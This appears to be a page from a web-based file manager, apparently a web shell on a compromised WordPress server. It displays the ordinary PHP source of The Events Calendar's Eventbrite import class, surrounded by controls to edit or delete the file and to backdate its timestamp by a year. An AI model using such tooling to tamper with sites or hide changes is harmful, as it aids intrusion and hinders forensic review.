文件操作 - Eventbrite.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/the-events-calendar/src/Tribe/Aggregator/Record/Eventbrite.php
编辑文件内容
<?php // Don't load directly defined( 'WPINC' ) or die; class Tribe__Events__Aggregator__Record__Eventbrite extends Tribe__Events__Aggregator__Record__Abstract { public $origin = 'eventbrite'; /** * Queues the import on the Aggregator service */ public function queue_import( $args = array() ) { $defaults = array( 'site' => urlencode( site_url() ), ); $args = wp_parse_args( $args, $defaults ); return parent::queue_import( $args ); } /** * Gets the Regular Expression string to match a source URL * * @since 4.6.18 * * @return string */ public static function get_source_regexp() { return '^(https?:\/\/)?(www\.)?eventbrite\.[a-z]{2,3}(\.[a-z]{2})?\/'; } /** * Returns the Eventbrite authorization token generation URL. * * @param array $args * * @return string Either the URL to obtain Eventbrite authorization token or an empty string. */ public static function get_auth_url( $args = array() ) { $service = tribe( 'events-aggregator.service' ); if ( $service->api() instanceof WP_Error ) { return ''; } $api = $service->api(); $key = $api->key; $key2 = null; if ( ! empty( $api->licenses['tribe-eventbrite'] ) ) { $eb_license = $api->licenses['tribe-eventbrite']; if ( empty( $key ) ) { $key = $eb_license; } else { $key2 = $eb_license; } } $url = $service->api()->domain . 'eventbrite/' . $key; $defaults = array( 'referral' => urlencode( home_url() ), 'admin_url' => urlencode( get_admin_url() ), 'type' => 'new', 'lang' => get_bloginfo( 'language' ), ); if ( $key2 ) { $defaults['licenses'] = array( 'tribe-eventbrite' => $key2, ); } $args = wp_parse_args( $args, $defaults ); $url = add_query_arg( $args, $url ); return $url; } /** * Public facing Label for this Origin * * @return string */ public function get_label() { return __( 'Eventbrite', 'the-events-calendar' ); } /** * Filters the event to ensure that a proper URL is in the EventURL * * @param array $event Event data * @param Tribe__Events__Aggregator__Record__Abstract $record Aggregator Import Record * * @return array */ public static function filter_event_to_force_url( $event, $record ) { if ( 'eventbrite' !== $record->origin ) { return $event; } if ( ! empty( $event['EventURL'] ) ) { return $event; } $event['EventURL'] = $record->meta['source']; return $event; } /** * Filters the event to ensure that fields are preserved that are not otherwise supported by Eventbrite * * @param array $event Event data * @param Tribe__Events__Aggregator__Record__Abstract $record Aggregator Import Record * * @return array */ public static function filter_event_to_preserve_fields( $event, $record ) { if ( 'eventbrite' !== $record->origin ) { return $event; } return self::preserve_event_option_fields( $event ); } /** * Add Site URL for Eventbrite Requests * * @since 4.6.18 * * @param array $args EA REST arguments * @param Tribe__Events__Aggregator__Record__Abstract $record Aggregator Import Record * * @return mixed */ public static function filter_add_site_get_import_data( $args, $record ) { if ( 'eventbrite' !== $record->origin ) { return $args; } $args['site'] = urlencode( site_url() ); return $args; } /** * When "(do not override)" status option is used, this ensures the imported event's status matches its original Eventbrite.com status. * * @since 4.8.1 * * @param string $post_status The event's post status before being filtered. * @param array $event The WP event data about to imported and saved to the DB. * @param Tribe__Events__Aggregator__Record__Abstract $record The import's EA Import Record. * @return array */ public static function filter_setup_do_not_override_post_status( $post_status, $event, $record ) { // override status if set within import. $status = isset( $record->meta['post_status'] ) ? $record->meta['post_status'] : $post_status; if ( 'do_not_override' === $status ) { $status = 'publish'; if ( isset( $event['eventbrite']->status ) && 'draft' === $event['eventbrite']->status ) { $status = 'draft'; } // If not draft, looked if listed. If not, set to private. if ( 'draft' !== $status && isset( $event['eventbrite']->listed ) && ! tribe_is_truthy( $event['eventbrite']->listed ) ) { $status = 'private'; } } return $status; } /** * Helps to ensure that post status selection UIs always default to "(do not override)" for Eventbrite imports. * * @since 4.8.1 * * @return string The key for the "(do not override)" option. */ public static function filter_set_default_post_status() { return 'do_not_override'; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件